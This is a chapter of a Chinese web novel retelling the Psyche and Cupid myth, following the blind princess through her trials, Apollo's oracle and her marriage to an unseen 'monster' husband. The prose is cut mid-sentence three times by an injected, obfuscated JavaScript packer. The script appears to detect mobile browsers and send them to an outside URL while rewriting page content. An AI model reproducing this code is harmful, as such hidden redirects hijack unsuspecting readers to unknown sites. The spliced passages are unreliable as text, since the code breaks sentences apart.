《爱神从此,不敢看我》 1. 盲女普绪克 迈锡尼王国的公主普绪克,拥有无与伦比的美貌,她聪慧善良,是国王王后最疼爱的小女儿。 唯一遗憾的是,她生来是个盲人。 她在虚无的黑暗里生活了十八年,对光明无比渴望。 也许是诚心感动了光明神,光明神阿波罗答应赐予祝福,让她能够看到这个世界,但有一个条件。 “你需要完成一个小小的考验,向我献上珍贵的礼物:一支金箭。” 光明神要的不是普通黄金打造的箭矢,而是爱神丘比特独有的金箭。 那是会让人无法自拔爱上第一眼看到的人的金箭,拥有无边神力,谁也无法反抗。只要普绪克能够向爱神索要得到金箭,光明神就履行承诺。 “您为什么不直接问爱神索要呢?”普绪克疑惑询问,神自然不会回答,沉默也是怪罪。 普绪克俯首请求神的原谅,不该多问,她很珍惜这个来之不易的机会与希望。 “去吧,不要让丘比特知道是献给我的。”光明神的语气除了严肃,似乎还有一些其他的情绪。 盲人无法看到世界,所以阿波罗短暂赐给她能够看到爱神的能力,在她黑暗虚无了十八年的世界里出现了一个光点,那就是爱神丘比特。 “我可怜的普绪克,她一个盲人,就连王宫都很少出去,现在要去遥远不定的地方……”王后担忧地落泪,光明神只给了普绪克看到爱神的能力,别人无法协助。 这是对她的考验,只能由她自己完成。 普绪克抬起手伸向王后,触碰到后拥抱母亲说:“母亲,你应该为我感到高兴,等我回来的时候,一定是成功的时候。如果没有回来,也一定是还在寻找的路上。” 普绪克独自走上了旅途,只带了一些食物和一根用来探路的拐杖,她只能以黑暗中的光亮为方向,一直往前。可是那代表爱神的光亮总在移动,才靠近一些,就飞去了别的地方。 终于有一天,那团光在移动后落在了离她非常近的地方。 她不顾一切向前奔跑,一次次跌倒爬起来,撞到树、猜到溪水、踢到石头,终于离那团光亮只剩几步。 “象征纯洁忠贞、代表着爱与美丽的爱神丘比特,请您赐给我一支金箭!”普绪克被石头绊倒摔在地上,还没起来就急切地祈求。 “咦?你能看见我?”一个青葱稚嫩的声音响起,同时还有扑簌扑簌的声音,像是在扇动翅膀。 普绪克用手抚摸阅读过很多神话记载,那些刻写在黏土板的故事不知道有几分是真。 记载里的爱神丘比特虽然掌管爱情,但因保持纯洁不会爱上任何一个人,所以是永远不会长大的孩子。他有着洁白的翅膀和金色的头发,时常用金箭对人恶作剧,让人们坠入情网,感受爱情的甜蜜喜悦与悲伤痛苦。 记载中也说,除了天神主动降临外,凡人是无法看见神的。 “我看不见您。”普绪克实话实说,“但我为寻找您而来。” 小爱神不相信,明明就是看见了他才跑过来的:“你竟敢欺骗神,我会用金箭射中你,让你对第一眼看见的怪物陷入疯狂的热恋!” 这样的惩罚或者说威胁,并没有吓退普绪克,她根据声音的来源调整拜下的方向,说:“您当然有这样的权力,但想让我爱上怪物的话,请您先赐给我光明,我是一个盲人。” “盲人?”扑簌扑簌的声音围绕她一圈。 小爱神心地善良,赠予了她食物、草药和干净的新衣服,也答应赠予金箭。 但他性格恶劣,所以赠予金箭的前提,是普绪克需要完成一些考验。 他变出二十种颜色装在不同的陶碟里,让普绪克在天空中画出一道彩虹。那些碟里,除了彩虹的七种颜色外,其他全都是会毁了一切的黑色。 然而,普绪克在晒了一天后,竟在太阳下山前成功地画出了彩虹。 她说:“尊贵的爱神丘比特,我怎么敢欺骗神明。我因为看不见,感受世界的颜色时无法使用我的眼睛,只能用我的手去触摸,不同的颜色被太阳照射后的温度会不同。您在里面搀了很多的黑色吧,它们的温度差距太明显了。” “你还挺聪明的。”小爱神嘀咕一句,继续提出新的考验,不过他想知道普绪克索要金箭的目的。 普绪克牢记阿波罗的要求,所以只说是为了一位天神,这对她而言是非常重要的事情。 丘比特想当然地以为她爱慕某一位天神,想用金箭让对方爱上她,嗯,嗯,爱情就是让人这样不顾一切。小爱神点头认可这个理由,继续给她出题。 第二个考验,是让普绪克去夜晚沉睡的羊群里,找到一只黄金羊,抓下一把金羊毛带过来。 没有了太阳光赋予的温度差异,看她怎么办! 普绪克还是完成了任务。 她说:“对于高贵的神明们而言,或许金色的羊毛和普通的羊毛一样轻盈,但在人类的手中,黄金,是那样沉重。”所以她把每只羊都薅了一把,找到重量不一样的那只就行。 “你这样聪明的人,怎么会做出想要得到天神的爱的蠢事。”丘比特小声嘀咕,又提出了新的难题。 不论是多么刁钻古怪的考验,普绪克都轻易答应下,她总能找到巧妙的办法解决。 她越是执着于金箭,丘比特越是感到生气。 “到底是奥林匹斯山哪一位天神,能让你这样不顾一切。” 丘比特生气的时候小翅膀扑棱得飞快,耳朵里是扑簌扑簌的翅膀声,周围的风也变得格外急促凉爽。 普绪克神色柔和,无比期待向往,充满着眷恋一般的感情说:“是光明。”只要拿到金箭,就能得到光明神的赐福,让双眼能够看见。 耳朵里扑簌扑簌的扇动翅膀声更频繁了。 爱神最后一个考验是让她去冥界,取一碗冥河的水,摘一朵冥河岸边的花。普绪克听到这是“最后一个考验”,她兴奋不已地答应了,作势就要跳崖。 “哼。”丘比特拽住想要一跃而下的普绪克,将金箭摔在地面,“愚蠢的凡人,居然是为了阿波罗那个混蛋。” 小爱神很生气,但还是让好友西风之神卷起一阵风,送她回到了迈锡尼王宫。 普绪克被风刮走,她想无论是哪位神,一定都是善良的丘比特请求的。 “感谢您!善良仁慈的丘比特!”声音被风一起卷走,不知道神有没有收到她的感激。 回到迈锡尼的普绪克急切不已地前去光明神殿,将金箭献上。 光明神阿波罗也依照约定,赐给了她光明,让她能够看到这五彩缤纷的世界,也收回了她可以看到丘比特所在的能力。 当在虚无黑暗中生活了十八年的眼睛终于能够看见光明,激动的泪水从脸颊落下。 原来……原来这个世界是如此美丽。 从此以后,普绪克仍旧需要不断适应这个由眼睛看到的世界,她需要将曾经手上触觉描摹的每一件物品,都对应上形状与色彩。她抚摸着父亲母亲的脸,将“触觉”与“模样”合二为一,她开始变得喜欢观察别人。 原来说话时的嘴形是不同的,原来不同情绪时,脸上五官的变化是很大的。 她还是很喜欢阅读,用眼睛阅读比用手阅读快多了。她看着一块块黏土板,萌生起一个想法。 她将两位伟大的神对她的考验刻下来,写成文字,还想找工匠在石板上刻下图像。 普绪克拉着王后的手将自己的想法道来:“我看到了这个世界,然后,我想要让世界也看到我,我普绪克,一个失去光明的人,通过了两位神的考验!这多像那些传奇故事呀!” 她从来都是国王王后最疼爱的小女儿,无论什么要求都会满足。 “我希望每天都能去王宫外面游玩,这里的颜色太少。” 国王王后当然也答应。 迈锡尼的城民们一如既往地赞美普绪克。 “普绪克公主!你比维纳斯还要美丽!” “普绪克比美神更美、更智慧、更勇敢,也许她才该是美神!” 普绪克高兴地向人们挥手,视线落在一张张脸上,她大概能明白这些是高兴激动的情绪,他们嘴巴大张呼喊着,眼睛里流露出喜悦的光芒,让被注视的人也感到喜悦。 有一些人不同,他们虽然也在高呼着美丽的普绪克,眼睛展露的光亮却不是喜悦,她不知道那是什么,她才刚开始辨认这个世界人们的表情与情绪。 还有一些人不在高呼,所以他们的声音无法被她听见。但她能看见他们正侧首说话,时不时瞥来眼神,同样无法辨认。 太远了,声音太杂了。 普绪克有些疑惑,有些好奇,她试着通过观察说话时的嘴形来模糊判断。 “虚假……暴力……可恨……” 普绪克不确定自己是不是判断错了,赞美了她那么多年的城民们,会恨她吗? 城民们对频繁出宫的普绪克感到不满,他们不得不放下手里的工作和农活向她跪拜,献上对她微不足道但对自己而言很重要的饮食。 “……”普绪克的情绪从未如此低落,她只好减少出宫的次数。 普绪克有时候会去检阅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387532|200262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工匠们刻画的进程,看看是否符合自己的想法,可工匠们也一样,嘴上赞美她,私下小声交流的嘴形却是“死亡、可恨”之类的。 她只能以自己习惯的感受来判断,一定是自己分析错了,还没有习惯用眼睛看见的世界。 不知不觉,已经两年过去,普绪克如此珍视这个色彩缤纷的世界。 期间小爱神多次来找她的麻烦,他似乎还是对自己设下的所有考验都被她破解而计较。普绪克心想,记载中的大多数天神确实都很小心眼。 小爱神知道了她要金箭的真相,不是热恋某个天神,而是要献给阿波罗换取光明。 他嘀咕着拿到金箭也没用,他曾用金箭恶作剧让阿波罗爱上河神之女达芙妮,又用铅箭让达芙妮憎恨阿波罗。看样子阿波罗打算用金箭让达芙涅也爱他?很可惜,金箭无法抵消铅箭的作用,反之亦然。 小爱神笑了笑,说:“原来是为了你的眼睛,难怪那么拼命……早说,我也可以办到。”说完又故作高傲地吓唬说,“普绪克,你现在能看见了,我可以用金箭让你爱上怪物!” “……”普绪克默默叹息,神明真是不讲道理。 她双手十指交错,认真回答说:“爱与美丽的爱神丘比特,您当然可以这样做,但是我能够看见您,当我中箭后会疯狂地爱上第一眼看见的您。爱神因为生气,让一个人类痴恋自己,是否会成为其他神明的笑话呢?” “……你!”小爱神憋了一会不知道如何反击,气鼓鼓地飞走了。 普绪克目送他离开,仰起头欣赏蓝天白云,即便只有两种颜色,云朵不断变化的形状也令人沉浸其中。 过一会儿,她听到小爱神在呼唤她,他在头顶上飞来飞去,却紧闭双眼寻找她。 “爱与美丽的丘比特,您怎么了,还有什么吩咐吗?”普绪克出声询问。 丘比特这才睁眼看向她,但同时,他捂着自己的心口,他没有回答,突然,小翅膀上一根骨头膨胀戳破皮肤,洁白的羽毛变得鲜血淋漓。 “您怎么了?”普绪克高高举起双手,担心小爱神会掉下来。 他双眼里是无比复杂情绪,想指责、想训斥,但骨头的疼痛让他不能言语更多,因此一句责备也没说,只扔下一句:“你说感激我,今后就一直虔诚地供奉我!” 普绪克低头,虔诚承诺道:“感谢您的仁慈,我余生都将虔诚供奉您,爱与美丽的丘比特。” 等她再次抬头时,小爱神已经不见了踪影。 从那天起,她就没有再见到过小爱神,供奉的神像也从不回应她,真是个奇怪的神。 普绪克总是忙于她的“冒险故事”,她还想要找吟游诗人去传唱。 国王和王后则为普绪克的婚姻而忙碌,他们逐一邀请了各国王子前来王宫做客,让普绪克试着接触。 “好吧。”普绪克听从国王的安排,答应了这件事。 可到最后,她拒绝了所有人。 当她兴致勃勃与每一个王子分享自己的冒险故事,他们都礼貌倾听。 如果她仍旧看不见,只能听到声音,他们附和的声音是那么优雅,他们的夸奖是那么真诚。 可是她现在能看见了,这些陌生的眼神,绝对不是赞美与认同。 他们会小声和随从交谈,普绪克远远看着他们说话时的嘴形。 ——“不过是老国王为了让普绪克显得更完美而编造的故事罢了,不过,当她丈夫应该能得到所有人的嫉妒吧。” 维持体面地目送最后一位做客的王子离开后,普绪克对国王王后说: “我希望,将来的伴侣不是因为我的容貌、身份而爱我,而是在了解我后,爱我的一切,我的……灵魂。” “普绪克,你是被神眷顾的孩子,终有一天真爱会出现的。”王后忧伤地说。 然而,比真爱先出现的,是落在神庙的一道神谕。 国王王后带着普绪克前去聆听神的旨意,神殿高大的门柱显得人是那么渺小,殿内燃烧着上好的香料,一个个祭司穿着纯白的长袍俯首捧着油灯。 神座上坐着一个穿着紫金镶蓝边长袍的俊美天神,如同阳光一样闪耀的金发如瀑布披散。 殿内众人纷纷拜下,高呼光明神阿波罗。 “呵呵。”阿波罗心不在焉,无端笑了笑,“咳。”他调整了下坐姿,从随意斜倚改为正坐,声音也变得严肃。 阿波罗抬起一手指向普绪克。 “你,普绪克。你的无知与不敬,冒犯了奥林匹斯的神,你将接受神罚,与怪物相爱,结为夫妻。” 2. 美好的假象 跪在地上聆听神谕的众人纷纷愣住,普绪克也缓缓抬起头,看向这位曾经眷顾过自己的光明神,这一个赐给了她光明的伟大神明却带来如此噩耗。 王后身体摇晃几乎摔倒在地,不愿意相信最疼爱的小女儿要嫁给一个怪物。 然而,这是神谕,是任何凡人不可以违抗的。 普绪克站起来,双手十指交错,望着神座上的阿波罗,请求道:“伟大尊贵的光明神阿波罗,请明示我的错误,我从未做过任何冒犯神的事情,您可以用您的神力感知真相。” 阿波罗有些惊讶,没有人可以质疑神谕。不过看在她找来金箭的份上,可以回答。 “人间各处都在说,你应该成为新的美神,你的美丽惹恼了美神维纳斯。” 普绪克仍旧十指交错虔诚信奉的模样,但反驳说:“这是我生来拥有的东西,我从未见过维纳斯,我就连自己的样貌也是这两年才能看到,我从未与维纳斯比较,怎能惹恼她呢?外界的流言并非我能控制。” “你从未拒绝那些夸赞,等同于你享受赞美,就连你应该是新美神这样的话都不曾反驳,一切都印证了你的冒犯。” “为什么享受赞美是错?”普绪克从小就在夸赞里长大,身边人从来不会因为她的缺点而贬低,外人也只会为她的缺点可惜,她早就习惯了夸赞。 阿波罗驳回她的想法,说:“只有真正伟大的神,才可以享受赞美。” “可他们只是出于善意的一句……夸赞。” “是吗?”神座上的阿波罗缓缓站立起来,高大的身躯站在台阶最高处,压迫感令人喘不过气来。就连国王都拉扯着普绪克的衣物让她不要再反驳,害怕惩罚加重。 “愚蠢的普绪克,你的父母将你保护得太好了。”阿波罗的视线落在国王王后的身上,“他们对你的溺爱,也将你推向罪恶。” “我不明白。” 阿波罗走下一阶台阶,抬起手在虚空中划出一道光圈,里面显现着另一个地方、时间的场景。 画面里是年轻许多的国王与王后,王后怀里抱着一个只有两三岁的女孩,她有着精致可爱的面容,黑曜石一般的眼睛点缀着白皙的脸庞,只是眼神空洞无法找到对应的视线。 “那是……我?” 画面里,一个随从走进来对着国王耳语了句,国王的脸色立刻变得阴沉,抬手示意不要让小公主听到。 是前来为公主诊治的医生想要逃跑。 小公主看不见的事情最初没有公开让外人知道,国王放出消息寻求名医有重赏,一个个医生前来诊治,可对失明的眼睛没有半点办法,都说也许只有神才能办到。神从未回应,只能不断更换医生。 知道了公主看不见的秘密,却又没能治好,国王下令将无能的医生杀死。 “啊……父王,为什么……” 画面逐渐变化,是小公主普绪克的侍女在休息时与人闲聊,提及了公主看不见的事情。第二天,普绪克的侍女就换了一个人,说漏嘴的侍女则不知所踪。 渐渐地,等普绪克到了七八岁的时候,她的眼睛仍旧没有办法看到。国王干脆向城民们宣布了这个隐藏数年的秘密,并且下令所有人必须赞美普绪克,任何人出言辱骂都将判死刑。 法令刚颁布的时候人们没有太在意,调侃国王王后竟生了个小瞎子,也都被处以极刑。 “不……这不是真的……”普绪克无法接受自己最敬爱的父母会是如此凶残的人,他们永远是那么温柔,她想要什么都能给予。她从小通过双手触摸学习文字,在一篇篇神话记载里学会了善良、勇敢,神话里的暴君们都没有好下场。 就连至高神宙斯的父亲也是如此。 可她的父亲,明明应该是一个慈爱无比的父亲与国王,整整二十年,她一直是这样认为的。 光圈里的画面继续变化,当普绪克见到光明之后,她激动得要刻写下那场冒险故事,她还要工匠在石板上也刻写下来。她对石板画的制作工期没有明确的概念,以为给了宽裕的时间。 画面持续变化,变成了神庙的走廊,上面镶嵌着无数幅石板画,一个个都有关于奥林匹斯神们的传说。 其中一些崭新的石板画上,是一个盲女得到了光明神祝福的故事。 那些崭新的石板画脱离,竟从光圈飞出来,一幅幅摆在普绪克的面前。有两幅石板画的角落缝隙里,还留有少许的血迹。 “我不知道这些……没有人告诉我……”普绪克无助地解释说,“我真正认识这个世界,才两年。”她对黏土板上的神话故事了如指掌,可对生活中的所有细节全然不知,她身边的所有人也从不纠正。 她是高贵的公主,很多事情没必要知道。 这一刻,她所有的喜悦全部化为悲伤,她以为自己足够完美的一生竟建立在残暴的统治下。 “我明白了……难怪所有人,所有人都夸赞我的美丽。”在她阅读过的记载中,奥林匹斯的三位女神曾有过比美纷争,如果只论样貌毫无疑问是美神维纳斯获胜,但众神、半神还有凡人们,都迟迟无法做出选择。 雅典娜和赫拉不如维纳斯的样貌美丽,但雅典娜拥有无比的智慧与力量,赫拉是拥有至高权力的天后,这些容貌以外的东西也影响着美丽的判断。 “或许我是很美,但那只能让一部分的人认同。而因为我是公主,是他们惧怕的国王的女儿,另一部分也不得不认同。”普绪克看向父亲,眼睛里已满是泪水。 她终于明白在出游的花车上看到的陌生眼神是怎样的情绪,不是喜悦,不是明显的憎恨,是敢怒不敢言的无奈。 她有很多的话想辩解,她的确无知,但她认为神罚并不是出于这么多的原因,否则早该降临,光明神也不会赐给她看见的祝福。 一切正如阿波罗最初传达的那样,因为人们都说她该是新的美神,惹恼了维纳斯。 那么后面这一切又是为何告诉她呢?她仰视着高大的阿波罗。 是为了让她心甘情愿接受神罚。 普绪克再次跪地,别人可以指责国王与王后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387533|200262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错误,但她不能,她是一个个残暴政令下的受益者,她是荆棘丛里被鲜花包围的宠儿,她无忧无虑在没有丝毫恶意的世界长大,别人付出了太多代价。 “我,普绪克,愿意接受惩罚和怪物结婚。”她仍旧保留最后一丝倔强,“你们可以惩罚我的身躯,但无法控制我的灵魂,我不会与怪物相爱。” 阿波罗说:“明天,西风之神会带你前往北面高山的悬崖,那时,爱神会向你和怪物射出金箭,让你们彼此相爱。” 金箭,爱神丘比特代表真爱的金箭。 中箭的人会无法自拔地爱上第一眼看见的生物,陷入疯狂的热恋。 不……不! 国王也向神明哀求:“尊贵伟大的光明神,您说的没错,是我们的溺爱导致这样的后果,忘记了神明的尊严大于一切,请惩罚我们,放过普绪克。” 阿波罗看了眼老国王,冷哼说:“你们最爱这个小女儿,让她受罚,就是让你们受罚。或者,你们想要违背神谕。” 神谕无法违抗,否则整个迈锡尼王国都会被连累,至高无上的宙斯随手扔下一道闪电,都足够毁了整个迈锡尼。 “我愿意接受惩罚。”普绪克弯腰伏拜在地,额头触地表示虔诚,“尊贵的光明神阿波罗,我聆听您传达的旨意,明天我会前往悬崖。但是我有一个要求,如果你不能答应,我将逃跑、流亡、甚至以死亡逃避,造成您办事不足的缺陷。” “……”阿波罗又气又无奈,反问,“普绪克,你在威胁神?” “是。”普绪克鼓起勇气说,“我一直都知道,您是最完美的神,除了传达神谕外也是掌控光明的神,预言之神,音乐、艺术、畜牧、医药……您是如此完美,是神的代表,所有才会由您来传达神谕……” “嗯,嗯。”阿波罗对这样的赞美无比受用,他是伟大的神,他心安理得享受赞美。 普绪克接着说:“如果我逃跑或者死亡。” 她没有说下去,也没抬头。 “……”阿波罗深蓝色的眼睛里闪过一丝不悦和欣赏,开口时有些咬牙切齿。 “你说。” 普绪克伏在地面没有起来,用坚定决绝的语气说:“您是光明神,掌控世间一切光亮,请收回我的光明,让我再次成为一个看不见任何东西的盲人。” 在场的所有人都愣住,神殿祭司们长久低着表示虔诚的头颅也不由抬起。 阿波罗也有些惊讶,问:“为什么?” “只要我无法看见,即便中箭,我也不会爱上任何人。”普绪克悲伤地说,“如果我会爱一个人,甚至一个怪物,一定是因为我被吸引、被他的魅力折服,而不是因为金箭的神力。” 阿波罗有些恍惚,似乎想到了什么时候,俊朗的眉宇间泛起少许忧愁。 国王和王后不断摇头,劝说普绪克:“孩子,那样你会无比痛苦,你和一个不爱的可怕怪物生活在黑暗里。” 普绪克紧紧闭眼,泪水淌下,说:“我宁可清醒着痛苦,也不要被操控的幸福。” 3. 丈夫是怪物 真爱的金箭,竟会如此令人恐惧。 普绪克想起小爱神的两次威胁,神是不可以乱说话的,最终都会成为神的预言。 她想,小爱神一定非常乐意执行这个任务。 “请您答应我的请求。”普绪克额头贴地,再次请求,刚才她观察到阿波罗被吹捧时的附和声里带着喜悦上扬的气息,所以继续赞美道,“您是光明、善良、正直的化身,看在我帮您找来金箭的份上,请收回我的光明。” 阿波罗的思绪从遥远的记忆里回来,视线垂落在普绪克的身上,没有立刻回答,而是反驳她关于金箭的言论。 “帮助神吗,普绪克,你说错了,是我恩赐了你得到考验的机会。”阿波罗扯了一下垂地的斗篷,继续往下走了几个台阶站到了普绪克的面前。 光明神缓缓抬手,说:“你的威胁与不敬惹恼了我光明神阿波罗,我将收走对你的祝福,让你再次陷入无尽的黑暗。” “是,我接受您的惩罚。” 再次成为盲人的普绪克并没有完全陷入绝望,当她摸索到墙壁时,能够想象出墙壁是大理石还是泥砖,是白色还是棕色。当走出神殿时,也能想象出高大的门框外明媚的阳光。 当踩在殿外的草地上时,柔软的触觉能够想象到青草弯折的模样,当风吹在脸上时,可以想象到花朵摇晃的样子…… 一切,一切……都曾经拥有过。 当王室的车队折返回王宫,道路两侧的城民们一如既往地赞美普绪克,说她比维纳斯还要美丽,说她才应该当美神。 同样,此时眼前也能想象到曾经见过的人们的表情,能从不同的语调里,想象出不同的情绪。 回到寝殿的普绪克终于忍不住大哭起来,她以为看见光明是人生新的开始,没想到新的人生活是如此短暂。 她擦掉眼泪,哪怕对方是怪物,自己也已经抱着决心前往,为了迈锡尼,为了每一个爱她、恨她的城民,是保护,也是赎罪——为了那些由他们付出代价所得到的一切。 第二天,西风之神仄费罗斯来到迈锡尼的王宫。 西风也是春风,温暖柔和的风让花园里有些萎靡的植物都抖擞起精神,淡淡幽香萦绕在周围。 国王和王后伤心过度,不愿意亲自目送普绪克离开,就当是刮来一阵西风,将她卷走。 侍女们收拾了很多东西,向西风之神请求能够陪伴公主一起去。 “不不不。”仄费罗斯是一个样貌清俊的美少年,神态活泼开朗,笑时露出一口白牙,拒绝侍了女们,并且以云朵承载不了那么多东西为由,收拾好的东西也没让拿。 普绪克披着一件遮阳的单薄斗篷,掩盖住她美丽却无神的双眼,她不想这么快就被发现端倪。 她伸出手,侍女递过来一个仔细包裹好的东西,看上去有些沉重。 她说:“我曾向爱神丘比特起誓,会永远供奉他,怪物的住处应该没有爱神的石像,请允许我带着。” “哦?哦……这当然可以。”仄费罗斯点头答应,带着普绪克离开了王宫。 风神飞得极快,再温暖的风如此凛冽也刮得脸生痛。 飞出一段距离后,普绪克听到了海浪的声音,鼻子里也闻到了浓重的水汽味。 “到了。”仄费罗斯扶着普绪克从云端走下来,提醒道,“站稳了,这里的风有点大。” “这里是哪?”普绪克有些紧张地问。 仄费罗斯看了看周围,这里是海边的悬崖,应该很好辨认呀。哦,她一定是想问为什么会来到这里。 风神还没回答,普绪克闻到了一股恶心至极的臭味,还有一种奇怪如同动物嘶吼的声音。 “众神会见证你的处罚。”仄费罗斯挑眉耸肩很是无奈地说,“以前可出过不少代人受过的事情,因为长久没发现就不了了之了,所以在那之后的神罚都会更仔细一些,避免狡猾的人类钻空子。” 普绪克心里更冰凉了些,她从没想过找人替代自己受罚,也幸好没有这样,否则违背神谕再加一条欺骗神明。她阅读过的那些记载里,神的力量是那样可怕。 仄费罗斯看出她脸上的惊恐,笑了笑用吓唬的语气说:“你应该听到了吧,怪物的嘶吼声,还有它浑身肮脏腐臭的气味。丘比特会在众神见证下射出两支金箭,让你与怪物相爱。哦!丘比特来了,我得避开点。” 普绪克紧张地抓着自己的裙摆,耳中是海浪撞击山壁的声音,还有不远处逐渐靠近的怪物嘶吼声。 头顶可以听到隐隐的雷声作响,还有熟悉的扑簌扑簌煽动翅膀的声音,比以往的每一次找到丘比特的时候都要频繁急促。 “嗖——”她听到破空而来的第一箭,飞向她不远处,然后是“呲”地一声中箭的声音,怪物发出了轻轻的哀嚎,鼻子里能闻到一丝如铁锈的气味。 “嗖——”接着是向她飞来的第二箭,没有听到任何中箭的声音,也没有感受到疼痛或者任何感觉,只是心头那股沉闷痛苦的情绪竟得到了极大的舒缓,随后困意立刻袭来。 一股温暖的春风卷来,仄费罗斯大声宣布说:“普绪克和怪物已经都中箭且看到了对方,他们因无法抗拒的爱情陷入了昏迷,我按照神的旨意,现在就送他们去怪物的巢穴。” 天上的雷声渐渐远去消失,众神确信这个惹恼了维纳斯的愚蠢人类得到了惩罚。 最后才离开的正是愤怒终于消解的美神维纳斯,她手中拿着一颗金苹果随意把玩,这是她很久以前在和赫拉、雅典娜比美的争斗中获得的战利品,上面写着“送给最美丽的女神”,后来她们猜测,金苹果是纷争女神的故意挑拨。 不过那不重要,她得到了金苹果。 最美的头衔,和无上的神职,怎么能够落到一个凡人女孩的头上。 维纳斯心情舒畅准备回自己的宫殿,瞥见丘比特还停留在空中,丘比特是她的孩子。 “丘比特。”维纳斯说不上哪里奇怪,她飞近看了又看,疑惑道,“奇怪,是我的错觉吗?你是不是长高了一点点。” “……”小爱神沉默了一下回答说,“怎么会呢母亲,我是代表纯洁忠贞的爱神,我永远也不会长大的。” 人间的土地因西风之神路过而盛开朵朵鲜花,形成一道美丽的道路。 西风吹到一座遥远隐秘的大山下停歇,山谷里春意盎然,鸟语花香,一些年轻的自然精灵诞生不久,正与周围的动物们玩耍。 站在树上的鸟东张西望,看见一对洁白无瑕比老鹰还大两倍的翅膀扇动着飞过,但没能来得及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387534|200262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看清是什么,小鸟就已被风刮下树枝。 山谷里隐藏着一座华丽精致的宫殿,寝殿里,昏迷的普绪克沉睡在柔软的床上,盖着一层薄薄的丝绒被。 室内点着稀有昂贵的香料,就连王室都极少能用,只在高级神庙的节庆时才会点上。 天色渐暗,普绪克从这令人感到舒适的气味中醒来,甚至忘了自己已经接受神罚选择成为盲人前往怪物的巢穴,过分舒适的感觉让她以为还在迈锡尼王宫。 “天这么黑了,为什么不点灯?”她等待侍女的回应。 但回应她的是一个完全陌生的声音,有着少年的清脆,也有着青年的磁性,以及一种男女莫辨的神秘。 “不,不可以点灯,你绝对不可以看到我。”那声音很近,就在离她两步的位置,或者说就在床边。 “……”普绪克瞬间被拉回到这冰冷残酷的现实中,她惊坐起来,这里已经不是王宫,她被西风之神带到了悬崖与怪物相遇,然后众神见证下丘比特射出金箭。 她以为会在一个阴冷潮湿的山洞中醒来,周围都是崎岖磕碰的石头。此时心中的恐惧被另一种疑惑替代,这显然是人的声音。 她回忆在悬崖边听到的怪物嘶吼声,那能是一个会说人话的怪物吗? 她小心翼翼吸气闻了闻,没有闻到怪物身上那股刺鼻恶心的臭味,就算是点了高级香料,如此近距离也能完全遮盖吗?怪物为什么会有这么高级的香料呢。 思索了一会,普绪克紧张得问:“你是谁?是被怪物控制的奴隶吗?” 最初眼睛看不见的时候,未知让她无畏,当她看见过这个世界后,未知却会无限放大恐惧。 对方短暂沉默了一下回答,声音里带着淡淡笑意与哀伤:“不,普绪克,我就是你的怪物丈夫,请你答应,绝对不可以窥探我的样貌。” 普绪克松了口气,她理论上已经和怪物在众神的见证下对彼此一见钟情陷入热恋,但怪物还是担心可怕的样貌会让她恐惧。 “当然,我绝对不会看见你的样貌。”普绪克应下要求,他的担忧是多余的。 “我爱你,普绪克。”在得到她的回答后,怪物很是高兴地向她表白,且给她一个无比真诚热情的拥抱。 这样直接而炽热的感情,普绪克从来没有遇到过,那些求婚者每一个都非常礼貌,就算是表白也站得端正,然后向她朗诵情诗。 她不知道那些求婚者的爱是否正常,但这个怪物的直白炽热的爱,一定是因为金箭。 怪物的拥抱几乎将她完全笼罩,无论现在的感受他多么像人类,普绪克都没有忘记这是一个“嫁给怪物”的神罚,她心底泛起诸多不安。 ——我已经做好了与不爱的怪物共度余生的准备。 ——我已经做好了与不爱的怪物共度余生的准备。 普绪克不断说服自己,无数情绪交错,她感到绝望与悲愤。 清醒地生活在痛苦里,比起誓要难一万倍。 也许是感受到她的悲伤,拥抱的力道缓缓松开,炽热的气息也远了许多。 “抱歉,吓到你了。”怪物的声音温柔地解释,“请相信我的爱,是我的心选择了你……” 说完又补充一句:“不仅仅是因为一支金箭。” 4. 请赐我一吻 这片土地的所有人生来就知道一个铁律,神谕不可违抗。 普绪克已经做出了选择,为了王国的安危,她会接受惩罚成为怪物的妻子。当她紧紧攥着自己的衣摆,准备好面对怪物的利爪与獠牙,准备好被撕咬与掠夺,准备好余生在恐惧和憎恨里。 怪物却与她友好的交谈,仅仅只是一个拥抱就立刻松开,他甚至知道是因为金箭才让感情如此炽热。 这和黏土板上记载的那些暴躁残忍怪物完全不同,普绪克心里充满了侥幸和疑惑,以及一丝丝早就出于习惯的感激。 感激降下神罚的天神们,仍旧怀有仁慈之心。 普绪克紧张的情绪得到缓解,即便是自己选择了永远的黑暗,她仍旧想要了解身边的一切。疑惑、好奇,还有一丝倔强,驱使着她抬起手,伸向声音的来源。 指尖触碰到了怪物的手臂,他没有躲开,声音紧张地问:“怎么了普绪克,你不相信我说的话吗?” “不,不是的。”普绪克思索着,鼓起勇气说,“请允许我触碰你。” 